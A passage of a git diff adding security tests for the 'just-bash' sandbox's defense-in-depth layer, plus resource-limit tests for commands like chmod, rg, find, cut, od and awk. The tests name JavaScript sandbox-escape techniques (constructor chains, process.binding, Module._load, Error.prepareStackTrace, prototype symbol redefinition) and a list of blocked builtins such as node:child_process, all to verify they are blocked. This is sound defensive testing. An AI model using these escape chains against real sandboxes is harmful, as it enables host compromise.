-      expect(["object", "function"]).toContain(String(result.returnValue));
-      expectViolationType(result.violations, "process_binding");
+    describe("constructor.constructor exploit fixture", () => {
+      it("strict mode blocks constructor-chain execution", async () => {
+        const result = await runExploitFixture("constructor-chain.js", false);
+        expect(result.error).toBeInstanceOf(SecurityViolationError);
+        expect(result.returnValue).toBeUndefined();
+        expectViolationType(result.violations, "function_constructor");
+        expect(
+          (globalThis as unknown as Record<string, unknown>)
+            .__jb_ctor_chain_marker,
+        ).toBeUndefined();
+      });
+
+      it("compat mode (audit) allows execution but records violation", async () => {
+        const result = await runExploitFixture("constructor-chain.js", true);
+        expect(result.error).toBeUndefined();
+        expect(result.returnValue).toBe("CONSTRUCTOR_CHAIN_EXECUTED");
+        expectViolationType(result.violations, "function_constructor");
+      });
     });
-  });
 
-  describe("process.mainModule.constructor._load exploit fixture", () => {
-    it("strict mode blocks module-load chain", async () => {
-      const result = await withFakeMainModule(async () =>
-        runExploitFixture("module-load-chain.js", false),
-      );
-      expect(result.error).toBeInstanceOf(SecurityViolationError);
-      expect(result.returnValue).toBeUndefined();
-      expectViolationType(result.violations, "process_main_module");
+    describe("process.binding exploit fixture", () => {
+      it("strict mode blocks process.binding access", async () => {
+        const result = await runExploitFixture("process-binding.js", false);
+        expect(result.error).toBeInstanceOf(SecurityViolationError);
+        expect(result.returnValue).toBeUndefined();
+        expectViolationType(result.violations, "process_binding");
+      });
+
+      it("compat mode (audit) allows process.binding but records violation", async () => {
+        const result = await runExploitFixture("process-binding.js", true);
+        expect(result.error).toBeUndefined();
+        expect(["object", "function"]).toContain(String(result.returnValue));
+        expectViolationType(result.violations, "process_binding");
+      });
     });
 
-    it("compat mode (audit) allows chain but records violations", async () => {
-      const result = await withFakeMainModule(async () =>
-        runExploitFixture("module-load-chain.js", true),
-      );
-      expect(result.error).toBeUndefined();
-      expect(result.returnValue).toBe("MODULE_LOAD_EXECUTED");
-      expectViolationType(result.violations, "process_main_module");
-      expectViolationType(result.violations, "module_load");
+    describe("process.mainModule.constructor._load exploit fixture", () => {
+      it("strict mode blocks module-load chain", async () => {
+        const result = await withFakeMainModule(async () =>
+          runExploitFixture("module-load-chain.js", false),
+        );
+        expect(result.error).toBeInstanceOf(SecurityViolationError);
+        expect(result.returnValue).toBeUndefined();
+        expectViolationType(result.violations, "process_main_module");
+      });
+
+      it("compat mode (audit) allows chain but records violations", async () => {
+        const result = await withFakeMainModule(async () =>
+          runExploitFixture("module-load-chain.js", true),
+        );
+        expect(result.error).toBeUndefined();
+        expect(result.returnValue).toBe("MODULE_LOAD_EXECUTED");
+        expectViolationType(result.violations, "process_main_module");
+      });
     });
-  });
 
-  describe("Error.prepareStackTrace exploit fixture", () => {
-    it("strict mode blocks prepareStackTrace assignment", async () => {
-      const result = await runExploitFixture("prepare-stack-trace.js", false);
-      expect(result.error).toBeInstanceOf(SecurityViolationError);
-      expect(result.returnValue).toBeUndefined();
-      expectViolationType(result.violations, "error_prepare_stack_trace");
+    describe("Error.prepareStackTrace exploit fixture", () => {
+      it("strict mode blocks prepareStackTrace assignment", async () => {
+        const result = await runExploitFixture("prepare-stack-trace.js", false);
+        expect(result.error).toBeInstanceOf(SecurityViolationError);
+        expect(result.returnValue).toBeUndefined();
+        expectViolationType(result.violations, "error_prepare_stack_trace");
+      });
+
+      it("compat mode (audit) allows assignment but records violation", async () => {
+        const result = await runExploitFixture("prepare-stack-trace.js", true);
+        expect(result.error).toBeUndefined();
+        expect(result.returnValue).toBe("PREPARE_STACK_TRACE_EXECUTED");
+        expectViolationType(result.violations, "error_prepare_stack_trace");
+      });
     });
+  },
+);
 
-    it("compat mode (audit) allows assignment but records violation", async () => {
-      const result = await runExploitFixture("prepare-stack-trace.js", true);
-      expect(result.error).toBeUndefined();
-      expect(result.returnValue).toBe("PREPARE_STACK_TRACE_EXECUTED");
-      expectViolationType(result.violations, "error_prepare_stack_trace");
-    });
-  });
-});
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/defense-in-depth-hardening.test.ts b/packages/just-bash/src/security/defense-in-depth-hardening.test.ts
index c90f1fb2..3789b414 100644
--- a/packages/just-bash/src/security/defense-in-depth-hardening.test.ts
+++ b/packages/just-bash/src/security/defense-in-depth-hardening.test.ts
@@ -15,7 +15,10 @@ import {
   SecurityViolationError,
 } from "./defense-in-depth-box.js";
 
-describe("Defense-in-Depth Hardening", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("Defense-in-Depth Hardening", () => {
   beforeEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -903,7 +906,7 @@ describe("Defense-in-Depth Hardening", () => {
       expect(error?.message).toContain("__defineSetter__");
     });
 
-    it("should freeze JSON (parse/stringify still work after freeze)", async () => {
+    it("should protect JSON while preserving parse/stringify", async () => {
       const box = DefenseInDepthBox.getInstance(true);
       const handle = box.activate();
 
@@ -917,7 +920,7 @@ describe("Defense-in-Depth Hardening", () => {
       expect(result).toEqual({ a: 1 });
     });
 
-    it("should freeze Math (floor still works after freeze)", async () => {
+    it("should protect Math while preserving floor", async () => {
       const box = DefenseInDepthBox.getInstance(true);
       const handle = box.activate();
 
@@ -1159,3 +1162,5 @@ describe("Defense-in-Depth Hardening", () => {
     });
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/defense-in-depth-intrinsic-protection.test.ts b/packages/just-bash/src/security/defense-in-depth-intrinsic-protection.test.ts
new file mode 100644
index 00000000..c64abf9e
--- /dev/null
+++ b/packages/just-bash/src/security/defense-in-depth-intrinsic-protection.test.ts
@@ -0,0 +1,168 @@
+import { afterEach, describe, expect, it } from "vitest";
+import { DefenseInDepthBox } from "./defense-in-depth-box.js";
+import { WorkerDefenseInDepth } from "./worker-defense-in-depth.js";
+
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("defense intrinsic protection", () => {
+  afterEach(() => DefenseInDepthBox.resetInstance());
+
+  it("protects cached intrinsic assignments and live mutation APIs", async () => {
+    const cachedMath = Math;
+    const cachedJson = JSON;
+    const cachedReflect = Reflect;
+    const originalFloor = cachedMath.floor;
+    const originalParse = cachedJson.parse;
+    const originalGet = cachedReflect.get;
+    const originalDescriptors = {
+      floor: Object.getOwnPropertyDescriptor(cachedMath, "floor"),
+      parse: Object.getOwnPropertyDescriptor(cachedJson, "parse"),
+      get: Object.getOwnPropertyDescriptor(cachedReflect, "get"),
+    };
+    const originalFrozen = {
+      math: Object.isFrozen(cachedMath),
+      json: Object.isFrozen(cachedJson),
+      reflect: Object.isFrozen(cachedReflect),
+    };
+    let remainedIntact = false;
+    let activeFloorIntact = false;
+    let activeParseIntact = false;
+    let activeGetIntact = false;
+
+    const box = DefenseInDepthBox.getInstance(true);
+    expect(box.getStatus().intrinsicProtection).toBe("scoped-best-effort");
+    const handle = box.activate();
+    await handle.run(async () => {
+      for (const mutate of [
+        () => {
+          (cachedMath as unknown as Record<string, unknown>).floor = () => 0;
+        },
+        () => Object.defineProperty(cachedJson, "parse", { value: () => 0 }),
+        () =>
+          Reflect.defineProperty(cachedReflect, "get", {
+            value: () => 0,
+          }),
+        () => Reflect.set(cachedMath, "floor", () => 0),
+      ]) {
+        try {
+          mutate();
+        } catch {
+          // Frozen intrinsics may throw or return false depending on the API.
+        }
+      }
+      activeFloorIntact = cachedMath.floor === originalFloor;
+      activeParseIntact = cachedJson.parse === originalParse;
+      activeGetIntact = cachedReflect.get === originalGet;
+      remainedIntact =
+        activeFloorIntact && activeParseIntact && activeGetIntact;
+    });
+    handle.deactivate();
+
+    expect({
+      remainedIntact,
+      floor: cachedMath.floor === originalFloor,
+      parse: cachedJson.parse === originalParse,
+      get: cachedReflect.get === originalGet,
+      activeFloorIntact,
+      activeParseIntact,
+      activeGetIntact,
+    }).toEqual({
+      remainedIntact: true,
+      floor: true,
+      parse: true,
+      get: true,
+      activeFloorIntact: true,
+      activeParseIntact: true,
+      activeGetIntact: true,
+    });
+    expect(cachedMath.floor).toBe(originalFloor);
+    expect(cachedJson.parse).toBe(originalParse);
+    expect(cachedReflect.get).toBe(originalGet);
+    expect(Object.getOwnPropertyDescriptor(cachedMath, "floor")).toEqual(
+      originalDescriptors.floor,
+    );
+    expect(Object.getOwnPropertyDescriptor(cachedJson, "parse")).toEqual(
+      originalDescriptors.parse,
+    );
+    expect(Object.getOwnPropertyDescriptor(cachedReflect, "get")).toEqual(
+      originalDescriptors.get,
+    );
+    expect(Object.isFrozen(cachedMath)).toBe(originalFrozen.math);
+    expect(Object.isFrozen(cachedJson)).toBe(originalFrozen.json);
+    expect(Object.isFrozen(cachedReflect)).toBe(originalFrozen.reflect);
+  });
+
+  it("blocks protected symbol redefinition during execution and restores it", async () => {
+    const before = Object.getOwnPropertyDescriptor(
+      Array.prototype,
+      Symbol.iterator,
+    );
+    const handle = DefenseInDepthBox.getInstance(true).activate();
+    const original = Array.prototype[Symbol.iterator];
+    let objectBlocked = false;
+    let reflectBlocked = false;
+    let remainedIntact = false;
+
+    await handle.run(async () => {
+      try {
+        Object.defineProperty(Array.prototype, Symbol.iterator, {
+          value: function* maliciousIterator() {
+            yield "escape";
+          },
+        });
+      } catch {
+        objectBlocked = true;
+      }
+      try {
+        reflectBlocked = !Reflect.defineProperty(
+          Array.prototype,
+          Symbol.iterator,
+          {
+            value: function* maliciousIterator() {
+              yield "escape";
+            },
+          },
+        );
+      } catch {
+        reflectBlocked = true;
+      }
+      remainedIntact = Array.prototype[Symbol.iterator] === original;
+    });
+
+    handle.deactivate();
+    expect(objectBlocked).toBe(true);
+    expect(reflectBlocked).toBe(true);
+    expect(remainedIntact).toBe(true);
+    expect(
+      Object.getOwnPropertyDescriptor(Array.prototype, Symbol.iterator),
+    ).toEqual(before);
+  });
+
+  it("protects cached references in the disposable worker realm", () => {
+    const cachedMath = Math;
+    const cachedJson = JSON;
+    const cachedReflect = Reflect;
+    const originals = [cachedMath.floor, cachedJson.parse, cachedReflect.get];
+    const defense = new WorkerDefenseInDepth({});
+
+    for (const mutate of [
+      () => Object.defineProperty(cachedMath, "floor", { value: () => 0 }),
+      () => Reflect.defineProperty(cachedJson, "parse", { value: () => 0 }),
+      () => Reflect.set(cachedReflect, "get", () => 0),
+    ]) {
+      try {
+        mutate();
+      } catch {
+        // Expected for frozen intrinsics.
+      }
+    }
+    defense.deactivate();
+
+    expect([cachedMath.floor, cachedJson.parse, cachedReflect.get]).toEqual(
+      originals,
+    );
+  });
+});
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/security/defense-in-depth-lifecycle.test.ts b/packages/just-bash/src/security/defense-in-depth-lifecycle.test.ts
new file mode 100644
index 00000000..966c32b4
--- /dev/null
+++ b/packages/just-bash/src/security/defense-in-depth-lifecycle.test.ts
@@ -0,0 +1,154 @@
+import { execFileSync } from "node:child_process";
+import * as nodeModule from "node:module";
+import { pathToFileURL } from "node:url";
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+  DefenseInDepthBox,
+  SecurityViolationError,
+} from "./defense-in-depth-box.js";
+
+const tsxLoaderUrl = import.meta.resolve("tsx");
+
+const processListenerMethods = [
+  "on",
+  "once",
+  "addListener",
+  "prependListener",
+  "prependOnceListener",
+] as const;
+
+describe.runIf(typeof nodeModule.registerHooks === "function")(
+  "defense-in-depth lifecycle",
+  () => {
+    beforeEach(() => DefenseInDepthBox.resetInstance());
+    afterEach(() => DefenseInDepthBox.resetInstance());
+
+    it("blocks every process listener registration variant without leaks", async () => {
+      const baseline = process.listenerCount("beforeExit");
+      const box = DefenseInDepthBox.getInstance(true);
+      const handle = box.activate();
+      const errors: unknown[] = [];
+
+      await handle.run(async () => {
+        for (const method of processListenerMethods) {
+          try {
+            process[method]("beforeExit", () => {});
+          } catch (error) {
+            errors.push(error);
+          }
+        }
+      });
+      handle.deactivate();
+
+      expect(errors).toHaveLength(processListenerMethods.length);
+      expect(
+        errors.every((error) => error instanceof SecurityViolationError),
+      ).toBe(true);
+      expect(process.listenerCount("beforeExit")).toBe(baseline);
+    });
+
+    it("restores descriptors and intrinsic extensibility", () => {
+      const targets = [
+        [globalThis, "Reflect"],
+        [globalThis, "JSON"],
+        [globalThis, "Math"],
+        [Error, "stackTraceLimit"],
+      ] as const;
+      const before = targets.map(([target, key]) => ({
+        descriptor: Object.getOwnPropertyDescriptor(target, key),
+        extensible: Object.isExtensible(target),
+      }));
+
+      const handle = DefenseInDepthBox.getInstance(true).activate();
+      handle.deactivate();
+
+      const after = targets.map(([target, key]) => ({
+        descriptor: Object.getOwnPropertyDescriptor(target, key),
+        extensible: Object.isExtensible(target),
+      }));
+      expect(after).toEqual(before);
+      expect(Object.isFrozen(Reflect)).toBe(false);
+      expect(Object.isFrozen(JSON)).toBe(false);
+      expect(Object.isFrozen(Math)).toBe(false);
+    });
+  },
+);
+
+describe.runIf(typeof nodeModule.registerHooks === "function")(
+  "defense-in-depth Module discovery",
+  () => {
+    const sourceUrl = pathToFileURL(
+      new URL("./defense-in-depth-box.ts", import.meta.url).pathname,
+    ).href;
+
+    function runSubprocess(inputType: "module" | "commonjs", body: string) {
+      return execFileSync(
+        process.execPath,
+        ["--import", tsxLoaderUrl, `--input-type=${inputType}`, "--eval", body],
+        { encoding: "utf8" },
+      ).trim();
+    }
+
+    it.each([
+      "module",
+      "commonjs",
+    ] as const)("patches and restores Module methods from a pure-%s entrypoint", (inputType) => {
+      const loadModule =
+        inputType === "module"
+          ? 'const { Module } = await import("node:module");'
+          : 'const { Module } = require("node:module");';
+      const body = `(async () => {
+        ${loadModule}
+        const originalLoad = Module._load;
+        const originalResolve = Module._resolveFilename;
+        const { DefenseInDepthBox } = await import(${JSON.stringify(sourceUrl)});
+        DefenseInDepthBox.resetInstance();
+        const handle = DefenseInDepthBox.getInstance(true).activate();
+        if (Module._load === originalLoad || Module._resolveFilename === originalResolve) throw new Error("not patched");
+        let blocked = false;
+        await handle.run(async () => { try { Module._load("node:fs"); } catch { blocked = true; } });
+        handle.deactivate();
+        if (!blocked || Module._load !== originalLoad || Module._resolveFilename !== originalResolve) throw new Error("lifecycle failure");
+        process.stdout.write("ok");
+      })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+
+      expect(runSubprocess(inputType, body)).toBe("ok");
+    });
+
+    it("fails closed when a critical Module method cannot be patched", () => {
+      const body = `(async () => {
+      const { Module } = await import("node:module");
+      const current = Module._load;
+      Object.defineProperty(Module, "_load", { value: current, writable: false, configurable: false });
+      const { DefenseInDepthBox } = await import(${JSON.stringify(sourceUrl)});
+      let failed = false;
+      try { DefenseInDepthBox.getInstance(true).activate(); } catch (error) { failed = String(error).includes("Module._load"); }
+      if (!failed) throw new Error("activation did not fail closed");
+      process.stdout.write("ok");
+    })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+
+      expect(runSubprocess("module", body)).toBe("ok");
+    });
+
+    it("rolls back worker patches when bootstrap activation fails", () => {
+      const workerSourceUrl = pathToFileURL(
+        new URL("./worker-defense-in-depth.ts", import.meta.url).pathname,
+      ).href;
+      const body = `(async () => {
+      const { Module } = await import("node:module");
+      const originalFunction = globalThis.Function;
+      const originalEval = globalThis.eval;
+      Object.defineProperty(Module, "_load", { value: Module._load, writable: false, configurable: false });
+      const { WorkerDefenseInDepth } = await import(${JSON.stringify(workerSourceUrl)});
+      let failed = false;
+      try { new WorkerDefenseInDepth({}); } catch (error) { failed = String(error).includes("Module._load"); }
+      if (!failed) throw new Error("activation did not fail closed");
+      if (globalThis.Function !== originalFunction || globalThis.eval !== originalEval) throw new Error("partial patches leaked");
+      if (Object.isFrozen(Math) || Object.getOwnPropertyDescriptor(Array.prototype, Symbol.iterator)?.configurable === false) throw new Error("irreversible locks applied before validation");
+      process.stdout.write("ok");
+    })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+
+      expect(runSubprocess("module", body)).toBe("ok");
+    });
+  },
+);
diff --git a/packages/just-bash/src/security/defense-runtime-capability.test.ts b/packages/just-bash/src/security/defense-runtime-capability.test.ts
new file mode 100644
index 00000000..883a423b
--- /dev/null
+++ b/packages/just-bash/src/security/defense-runtime-capability.test.ts
@@ -0,0 +1,142 @@
+import { execFileSync } from "node:child_process";
+import * as nodeModule from "node:module";
+import { pathToFileURL } from "node:url";
+import { describe, expect, it } from "vitest";
+
+const sourceUrl = pathToFileURL(
+  new URL("./defense-in-depth-box.ts", import.meta.url).pathname,
+).href;
+const bashSourceUrl = pathToFileURL(
+  new URL("../Bash.ts", import.meta.url).pathname,
+).href;
+const tsxLoaderUrl = import.meta.resolve("tsx");
+function run(node: string, inputType: "module" | "commonjs", body: string) {
+  return execFileSync(
+    node,
+    ["--import", tsxLoaderUrl, `--input-type=${inputType}`, "--eval", body],
+    { cwd: process.cwd(), encoding: "utf8" },
+  ).trim();
+}
+
+describe("defense runtime capability resolution", () => {
+  const supportsContextualHooks =
+    typeof (nodeModule as { registerHooks?: unknown }).registerHooks ===
+    "function";
+
+  it.each([
+    "module",
+    "commonjs",
+  ] as const)("resolves and enforces the loader boundary from a %s host", (inputType) => {
+    const body = `(async () => {
+          const { DefenseInDepthBox } = await import(${JSON.stringify(sourceUrl)});
+          DefenseInDepthBox.resetInstance();
+          const automatic = DefenseInDepthBox.getInstance({ enabled: "auto" });
+          const status = automatic.getStatus();
+          if (status.state !== "enabled") {
+            throw new Error("unexpected auto status: " + JSON.stringify(status));
+          }
+          if (status.contextualDynamicImportProtection !== ${supportsContextualHooks}) {
+            throw new Error("unexpected loader protection status: " + JSON.stringify(status));
+          }
+          if (status.level !== (${supportsContextualHooks} ? "full" : "best-effort")) {
+            throw new Error("unexpected defense level: " + JSON.stringify(status));
+          }
+          const autoHandle = automatic.activate();
+          autoHandle.deactivate();
+          const hostDataBefore = await import("data:text/javascript,export default 'host-before'");
+          if (hostDataBefore.default !== "host-before") throw new Error("host data import was blocked");
+          DefenseInDepthBox.resetInstance();
+
+          let invalidRejected = false;
+          try { DefenseInDepthBox.getInstance({ enabled: "strict" }); }
+          catch (error) { invalidRejected = error instanceof RangeError; }
+          if (!invalidRejected) throw new Error("invalid defense mode was accepted");
+
+          const audit = DefenseInDepthBox.getInstance({ enabled: true, auditMode: true });
+          const auditStatus = audit.getStatus();
+          if (auditStatus.level !== "none" || !auditStatus.reason?.includes("does not block")) {
+            throw new Error("audit mode advertised enforcement: " + JSON.stringify(auditStatus));
+          }
+          DefenseInDepthBox.resetInstance();
+
+          if (!${supportsContextualHooks}) {
+            const explicitHandle = DefenseInDepthBox.getInstance(true).activate();
+            await explicitHandle.run(async () => Promise.resolve());
+            explicitHandle.deactivate();
+            for (const specifier of ["node:fs", "fs", "fs/promises", "node:child_process", "node:vm"]) {
+              await import(specifier);
+            }
+            DefenseInDepthBox.resetInstance();
+            const { Bash } = await import(${JSON.stringify(bashSourceUrl)});
+            const result = await new Bash().exec("echo compatible");
+            if (result.exitCode !== 0 || result.stdout !== "compatible\\n") throw new Error("best-effort Bash failed");
+            process.stdout.write("ok");
+            return;
+          }
+
+          const handle = DefenseInDepthBox.getInstance(true).activate();
+          await handle.run(async () => {
+            for (const specifier of ["node:fs", "fs", "fs/promises", "node:child_process", "node:vm"]) {
+              let blocked = false;
+              try { await import(specifier); }
+              catch (error) { blocked = String(error).includes("dynamic import of Node.js builtin"); }
+              if (!blocked) throw new Error("unblocked builtin: " + specifier);
+            }
+            let dataBlocked = false;
+            try { await import("data:text/javascript,export default 'sandbox'"); }
+            catch (error) { dataBlocked = String(error).includes("data: URLs is blocked"); }
+            if (!dataBlocked) throw new Error("unblocked sandbox data import");
+          });
+          handle.deactivate();
+          await import("node:fs");
+          const hostDataAfter = await import("data:text/javascript,export default 'host-after'");
+          if (hostDataAfter.default !== "host-after") throw new Error("post-deactivation data import was blocked");
+          process.stdout.write("ok");
+        })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+
+    expect(run(process.execPath, inputType, body)).toBe("ok");
+  });
+
+  it.runIf(supportsContextualHooks)(
+    "restores actual host descriptors and leaves intrinsics extensible by default",
+    () => {
+      const body = `(async () => {
+        const { DefenseInDepthBox } = await import(${JSON.stringify(sourceUrl)});
+        const targets = [[globalThis, "Reflect"], [globalThis, "JSON"], [globalThis, "Math"]];
+        const symbols = [[Array.prototype, Symbol.iterator], [Promise, Symbol.species]];
+        const descriptors = targets.map(([target, key]) => Object.getOwnPropertyDescriptor(target, key));
+        const symbolDescriptors = symbols.map(([target, key]) => Object.getOwnPropertyDescriptor(target, key));
+        const extensible = targets.map(([target, key]) => Object.isExtensible(target[key]));
+        const handle = DefenseInDepthBox.getInstance(true).activate();
+        await handle.run(async () => {
+          for (const name of ["Reflect", "JSON", "Math"]) {
+            let blocked = false;
+            try { globalThis[name].temporaryMutation = true; } catch { blocked = true; }
+            if (!blocked) throw new Error(name + " mutation was not blocked");
+          }
+        });
+        handle.deactivate();
+        if (JSON.stringify(targets.map(([target, key]) => Object.getOwnPropertyDescriptor(target, key))) !== JSON.stringify(descriptors)) throw new Error("global descriptors changed");
+        if (JSON.stringify(symbols.map(([target, key]) => Object.getOwnPropertyDescriptor(target, key))) !== JSON.stringify(symbolDescriptors)) throw new Error("symbol descriptors changed");
+        if (JSON.stringify(targets.map(([target, key]) => Object.isExtensible(target[key]))) !== JSON.stringify(extensible)) throw new Error("intrinsic extensibility changed");
+        process.stdout.write("ok");
+      })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+      expect(run(process.execPath, "module", body)).toBe("ok");
+    },
+  );
+
+  it.runIf(supportsContextualHooks)(
+    "requires explicit opt-in for irreversible process-lifetime locks",
+    () => {
+      const body = `(async () => {
+        const { DefenseInDepthBox } = await import(${JSON.stringify(sourceUrl)});
+        const handle = DefenseInDepthBox.getInstance({ enabled: true, processLifetimeIntrinsicHardening: true }).activate();
+        handle.deactivate();
+        if (!Object.isFrozen(Reflect) || !Object.isFrozen(JSON) || !Object.isFrozen(Math)) throw new Error("intrinsics were not frozen");
+        if (Object.getOwnPropertyDescriptor(Array.prototype, Symbol.iterator)?.configurable !== false) throw new Error("symbol was not locked");
+        process.stdout.write("ok");
+      })().catch((error) => { console.error(error); process.exitCode = 1; });`;
+      expect(run(process.execPath, "module", body)).toBe("ok");
+    },
+  );
+});
diff --git a/packages/just-bash/src/security/general-core-followup.security.test.ts b/packages/just-bash/src/security/general-core-followup.security.test.ts
new file mode 100644
index 00000000..e7bb283d
--- /dev/null
+++ b/packages/just-bash/src/security/general-core-followup.security.test.ts
@@ -0,0 +1,249 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { createDefaultOptions } from "../commands/rg/rg-options.js";
+import {
+  decodeBytesToUtf8,
+  encodeUtf8ToBytes,
+  unsafeBytesFromLatin1,
+} from "../encoding.js";
+import { InMemoryFs } from "../fs/in-memory-fs/in-memory-fs.js";
+import { OverlayFs } from "../fs/overlay-fs/overlay-fs.js";
+import { createUserRegex } from "../regex/index.js";
+
+describe("DeepSec general/core resource follow-up", () => {
+  it("rejects script source above maxSourceBytes before parsing", async () => {
+    const bash = new Bash({ executionLimits: { maxSourceBytes: 8 } });
+    await expect(bash.exec("        ")).resolves.toMatchObject({ exitCode: 0 });
+    await expect(bash.exec("         ")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: script input size limit exceeded (8 bytes)\n",
+    });
+  });
+
+  it("does not treat the expanded-value limit as a source limit", async () => {
+    const bash = new Bash({ executionLimits: { maxStringLength: 1 } });
+    await expect(bash.exec("                 :")).resolves.toMatchObject({
+      exitCode: 0,
+    });
+  });
+
+  it("bounds recursive chmod at the traversal boundary", async () => {
+    const files = { "/tree/a": "a", "/tree/b": "b" };
+    const equal = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 3 },
+    });
+    await expect(equal.exec("chmod -R 600 /tree")).resolves.toMatchObject({
+      exitCode: 0,
+    });
+
+    const above = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+    await expect(above.exec("chmod -R 600 /tree")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: chmod: filesystem traversal entry limit exceeded (2)\n",
+    });
+  });
+
+  it("gives rg a finite default file size and shared traversal budget", async () => {
+    expect(createDefaultOptions().maxFilesize).toBeGreaterThan(0);
+    const files = { "/tree/a": "needle", "/tree/b": "needle" };
+    const equal = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 3 },
+    });
+    await expect(equal.exec("rg needle /tree")).resolves.toMatchObject({
+      exitCode: 0,
+    });
+    const above = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+    await expect(above.exec("rg needle /tree")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: rg: filesystem traversal entry limit exceeded (2)\n",
+    });
+  });
+
+  it("rejects an oversized find directory before retaining child work items", async () => {
+    const files = { "/tree/a": "a", "/tree/b": "b" };
+    const equal = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 3 },
+    });
+    await expect(equal.exec("find /tree -type f")).resolves.toMatchObject({
+      exitCode: 0,
+      stdout: "/tree/a\n/tree/b\n",
+    });
+
+    const above = new Bash({
+      files,
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+    await expect(above.exec("find /tree -type f")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: find: filesystem traversal entry limit exceeded (2)\n",
+    });
+  });
+
+  it("bounds head multi-file output prospectively", async () => {
+    const bash = new Bash({
+      files: { "/a": "1234", "/b": "5678" },
+      executionLimits: { maxOutputSize: 12, maxStringLength: 100 },
+    });
+    await expect(bash.exec("head -q -c 4 /a /b")).resolves.toMatchObject({
+      stdout: "12345678",
+    });
+    await expect(bash.exec("head -c 4 /a /b")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: head: output size limit exceeded (12 bytes)\n",
+    });
+  });
+
+  it("bounds cut range work instead of expanding overlapping ranges", async () => {
+    const bash = new Bash({
+      executionLimits: { maxLoopIterations: 4, maxWorkUnits: 100 },
+    });
+    await expect(
+      bash.exec("cut -c 1-4", { stdin: "abcd" }),
+    ).resolves.toMatchObject({ stdout: "abcd\n" });
+    await expect(
+      bash.exec("cut -c 1-4,1", { stdin: "abcd" }),
+    ).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: cut: range expansion limit exceeded (4)\n",
+    });
+  });
+
+  it("bounds od input and format work before result arrays", async () => {
+    const bash = new Bash({
+      executionLimits: { maxLoopIterations: 4, maxInputBytes: 100 },
+    });
+    await expect(
+      bash.exec("od -An -t x1", { stdin: "1234" }),
+    ).resolves.toMatchObject({
+      exitCode: 0,
+    });
+    await expect(
+      bash.exec("od -An -t x1 -c", { stdin: "123" }),
+    ).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: od: format work limit exceeded (4)\n",
+    });
+  });
+
+  it("charges file operands and aggregate file input", async () => {
+    const bash = new Bash({
+      files: { "/a": "a", "/b": "b" },
+      executionLimits: { maxArrayElements: 1, maxInputBytes: 100 },
+    });
+    await expect(bash.exec("file /a")).resolves.toMatchObject({ exitCode: 0 });
+    // Keep each argv within the generic per-command cardinality ceiling while
+    // proving file's command-local operand budget is cumulative for the exec.
+    await expect(bash.exec("file /a; file /b")).resolves.toMatchObject({
+      exitCode: 126,
+      stderr: "bash: file: file-operands work limit exceeded (1)\n",
+    });
+  });
+
+  it("rejects unsafe split numeric parameters exactly", async () => {
+    const bash = new Bash({ files: { "/in": "abc" } });
+    expect((await bash.exec("split -n 2junk /in")).stderr).toBe(
+      "split: invalid number of chunks: '2junk'\n",
+    );
+    expect((await bash.exec("split -a 9007199254740993 /in")).stderr).toBe(
+      "split: invalid suffix length: '9007199254740993'\n",
+    );
+  });
+
+  it("guards recursive AWK statements that do not add delimiter depth", async () => {
+    const nested = `${"if(1) ".repeat(9)}print 1`;
+    const bash = new Bash({
+      executionLimits: {
+        maxAwkParserDepth: 8,
+        maxAwkParserTokens: 1_000,
+        maxAwkParserOperations: 10_000,
+      },
+    });
+    await expect(bash.exec(`awk 'BEGIN { ${nested} }'`)).resolves.toMatchObject(
+      {
+        exitCode: 126,
+        stderr: "bash: awk: parser depth limit exceeded (8)\n",
+      },
+    );
+  });
+
+  it("enforces conversion ceilings before allocating conversion buffers", () => {
+    expect(decodeBytesToUtf8(unsafeBytesFromLatin1("1234"), 4)).toBe("1234");
+    expect(() => decodeBytesToUtf8(unsafeBytesFromLatin1("12345"), 4)).toThrow(
+      "byte conversion limit exceeded (4 bytes)",
+    );
+    expect(() => encodeUtf8ToBytes("ééé", 5)).toThrow(
+      "byte conversion limit exceeded (5 bytes)",
+    );
+  });
+
+  it("bounds regex match, split, and iterator result production", () => {
+    const matchRegex = createUserRegex("a", "g", { maxResults: 2 });
+    expect(() => matchRegex.match("aaa")).toThrow(
+      "regular expression result limit exceeded (2)",
+    );
+    const splitRegex = createUserRegex(",", "", { maxResults: 2 });
+    expect(splitRegex.split("a,b,c,d")).toEqual(["a", "b"]);
+    const iterator = createUserRegex("a", "g", { maxResults: 1 }).matchAll(
+      "aa",
+    );
+    expect(iterator.next().value?.[0]).toBe("a");
+    expect(() => iterator.next()).toThrow(
+      "regular expression result limit exceeded (1)",
+    );
+  });
+
+  it("enforces a cumulative in-memory filesystem quota", async () => {
+    const memfs = new InMemoryFs(undefined, { maxTotalBytes: 8 });
+    await memfs.writeFile("/a", "1234");
+    await memfs.writeFile("/b", "5678");
+    await expect(memfs.writeFile("/c", "9")).rejects.toThrow(
+      "byte limit exceeded (8 bytes)",
+    );
+    await memfs.rm("/a");
+    await expect(memfs.writeFile("/c", "9")).resolves.toBeUndefined();
+  });
+
